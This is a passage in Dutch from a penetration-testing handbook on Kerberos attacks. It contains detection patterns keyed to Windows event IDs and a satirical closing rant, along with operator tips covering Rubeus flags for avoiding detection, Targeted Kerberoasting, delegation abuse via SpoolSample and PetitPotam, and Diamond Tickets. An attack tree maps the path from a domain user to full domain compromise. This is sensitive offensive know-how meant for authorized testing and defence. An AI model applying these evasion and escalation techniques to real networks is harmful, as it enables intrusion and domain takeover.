George zou zeggen: “Diamond Tickets zijn de goudstandaard voor ticket forgery – wat ironisch is, want het heet geen Golden Ticket. Het is alsof iemand zei: ‘Hoe noemen we de betere versie van het Golden Ticket?’ En iemand anders antwoordde: ‘Diamond, want dat is meer waard.’ En toen realiseerden ze zich dat ze een ticket-juwelier- hiërarchie aan het opbouwen waren. De volgende wordt waarschijnlijk het Platinum Ticket of het NFT Ticket.”

8.13 Vergelijkingstabel: Alle Kerberos Aanvallen

8.14 Verdediging: Kerberos Hardenen

8.14.1 Tegen Kerberoasting en AS-REP Roasting

8.14.2 Tegen Delegation Abuse

8.14.3 Tegen Ticket Forgery

8.14.4 Monitoring

Essentiële Event IDs voor Kerberos-detectie:

Detectie-patronen:

# Kerberoasting: veel 4769 events van een enkele bron in korte tijd
# met encryption type 0x17 (RC4) terwijl AES beschikbaar is

# AS-REP Roasting: 4768 events zonder voorafgaande 4771 (geen pre-auth)

# Golden Ticket: 4769 zonder voorafgaande 4768 (TGS zonder TGT-aanvraag)

# Overpass-the-Hash: 4768 met encryption type 0x17 vanuit een modern systeem

# Unconstrained Delegation: 4624 Type 10 (RemoteInteractive) op server
# gevolgd door 4769 events voor andere targets

Let op: Veel van deze detecties vereisen geavanceerde SIEM-correlatie. Een enkel event is zelden verdacht – het is het patroon dat de aanval verraadt. En patronen herkennen vereist dat je weet waarnaar je zoekt.

8.15 Het cynische slotwoord

“Kerberos. Een protocol uit 1988. Negentienhonderdachtentachtig! Reagan was president, de Berlijnse Muur stond er nog, en niemand had een mobiele telefoon. En dit protocol beschermt vandaag de dag de netwerken van de grootste bedrijven ter wereld.

Is het slecht? Nee, het is briljant. Het probleem is niet het protocol – het probleem zijn de mensen die het implementeren. Het is alsof je een Stradivarius-viool geeft aan iemand die Twinkle Twinkle Little Star speelt. Het instrument is niet het probleem.

Kijk naar Kerberoasting. De bedoeling is dat service accounts sterke wachtwoorden hebben. Maar nee, iemand maakt een account aan met het wachtwoord ‘Winter2019!’ en dat account draait vijf jaar later nog steeds, op een productie-server, met Domain Admin-rechten. Waarom? Omdat niemand verantwoordelijk is. De persoon die het account aanmaakte is vertrokken. De persoon die de server beheert weet niet dat het account bestaat. En de persoon die de beveiliging doet, heeft geen budget om er iets aan te doen.

En dan heb je Unconstrained Delegation. ‘Laten we deze server het recht geven om namens iedereen te handelen. Iedereen. Zonder beperking. Wat kan er misgaan?’ Dat is alsof je een medewerker de creditcard van het bedrijf geeft en zegt: ‘Hier, gebruik hem waarvoor je wilt.’ En drie maanden later vraag je je af waarom er een abonnement is op zes streamingdiensten en een bestelling van driehonderd poolnoodles.

Maar het allermooiste? Het allermooiste is het Golden Ticket. Je steelt een hash – niet eens een wachtwoord, een hash – en je hebt voor altijd toegang tot alles. Niet tot een server. Niet tot een applicatie. Tot alles. En de enige manier om dat te stoppen is een wachtwoord twee keer te resetten dat niemand ooit rechtstreeks gebruikt. Het krbtgt-account. Een account zonder inbox, zonder bureaustoel, zonder kerstpakket – maar met de sleutel tot het hele koninkrijk.

Weet je, in het echte leven zou dit een landelijk schandaal zijn. Stel je voor dat de overheid zegt: ‘Er is een sleutel die alle overheidsgebouwen opent, en als iemand die steelt, kunnen we hem niet veranderen.’ De Tweede Kamer zou ontploffen. Maar in IT? In IT zeggen we: ‘Dat staat op de roadmap voor Q3.’ En Q3 wordt Q4. En Q4 wordt ‘volgend jaar.’ En volgend jaar wordt ‘nooit.’

Kerberos is niet het probleem. Wij zijn het probleem.”

8.16 IB Tips & Tricks

Tip 1: Begin altijd met Kerberoasting. Het is de laagste drempel (elke domain user kan het), de minste risico (offline kraken), en levert vaak direct resultaat op. Gebruik Rubeus.exe kerberoast /stats om eerst te inventariseren hoeveel accounts kwetsbaar zijn.

Tip 2: Gebruik de /rc4opsec flag in Rubeus bij Kerberoasting om encryption downgrade detectie te vermijden. In een omgeving met geavanceerde monitoring is dit het verschil tussen ontdekt worden en onzichtbaar blijven.

Tip 3: Als je GenericWrite hebt op accounts, overweeg Targeted Kerberoasting boven directe wachtwoord-reset. Het is stiller: je zet een SPN, haalt de hash op, kraakt offline, en verwijdert de SPN weer. Geen wachtwoord gewijzigd, geen gebruiker die klaagt.

Tip 4: Bij Constrained Delegation, gebruik altijd /altservice om meerdere service-types in een keer te pakken. Een ticket voor cifs/target is nuttig, maar een ticket voor cifs,host,ldap,wsman geeft je volledige controle.

Tip 5: Diamond Tickets zijn de toekomst van ticket forgery. Als je toch al de krbtgt AES key hebt (via DCSync), gebruik Diamond in plaats van Golden. Het kost een paar seconden extra en is significant moeilijker te detecteren.

Tip 6: Vergeet de Printer Bug niet bij Unconstrained Delegation. SpoolSample.exe en PetitPotam.py zijn je beste vrienden. De ene werkt via Print Spooler, de andere via EFS – als de ene geblokkeerd is, probeer de andere.

Tip 7: RBCD is je go-to wanneer je GenericWrite hebt op een computerobject maar geen andere aanvalsvector ziet. Het kost drie stappen (fake account, RBCD configureren, S4U) en levert lokale admin op de doelcomputer.

Tip 8: Monitor altijd of ms-DS-MachineAccountQuota op 0 staat in je doelomgeving voordat je RBCD probeert. Als het op 0 staat, kun je geen fake machine account aanmaken en moet je een bestaand machine account compromitteren.

Tip 9: Leg alles vast in IB’s finding management. Een Kerberoasting- bevinding met een CVSS 4.0 vector, OWASP-categorie (A07 - Identification and Authentication Failures), en screenshots van de gekraakte hash is tien keer overtuigender dan een bullet point in een rapport.

Tip 10: Ruim op! Verwijder SPNs die je gezet hebt. Verwijder de RBCD-configuratie. Verwijder fake machine accounts. Verwijder geinjecteerde tickets met klist purge. Je bent een professional, geen vandaal.

8.17 Referentietabel

8.18 De Kerberos Aanvalsboom

                     Domain User Account
                            |
              +-------------+-------------+
              |             |             |
        Kerberoasting  AS-REP Roast  ACL Enumeration
              |             |             |
        Crack Hash    Crack Hash    GenericWrite?
              |             |             |
        Service        User         +-----+------+
        Account       Account       |            |
        Creds          Creds    Targeted    Set RBCD
              |             |    Kerbroast      |
              +------+------+        |       S4U Attack
                     |          Crack Hash      |
              Overpass-the-Hash      |      Local Admin
                     |               |      on Target
                     +-------+-------+
                             |
                      Lateral Movement
                             |
                     Domain Admin?
                             |
                    +--------+--------+
                    |                 |
               DCSync           Trust Attack
                    |                 |
              +-----+-----+    +-----+-----+
              |     |     |    |           |
           Golden Silver Diamond Child   Cross
           Ticket Ticket Ticket to      Forest
                                Parent

Deze boom toont de typische progressie van een Kerberos-aanval: van een gewone domain user account via credential harvesting en laterale beweging naar volledige domeincompromittering.

In de praktijk is het pad zelden zo lineair. Je combineert technieken uit Hoofdstuk 7 (ACL abuse, DCSync, MSSQL) met technieken uit dit hoofdstuk. BloodHound is je kaart; IB is je gereedschapskist.

Volgend hoofdstuk: we verlaten de Windows-wereld en duiken in de kunst van laterale beweging – hoe je van systeem naar systeem springt als een digitale parkouratleet, met techniques als PSRemoting, WMI, DCOM en meer.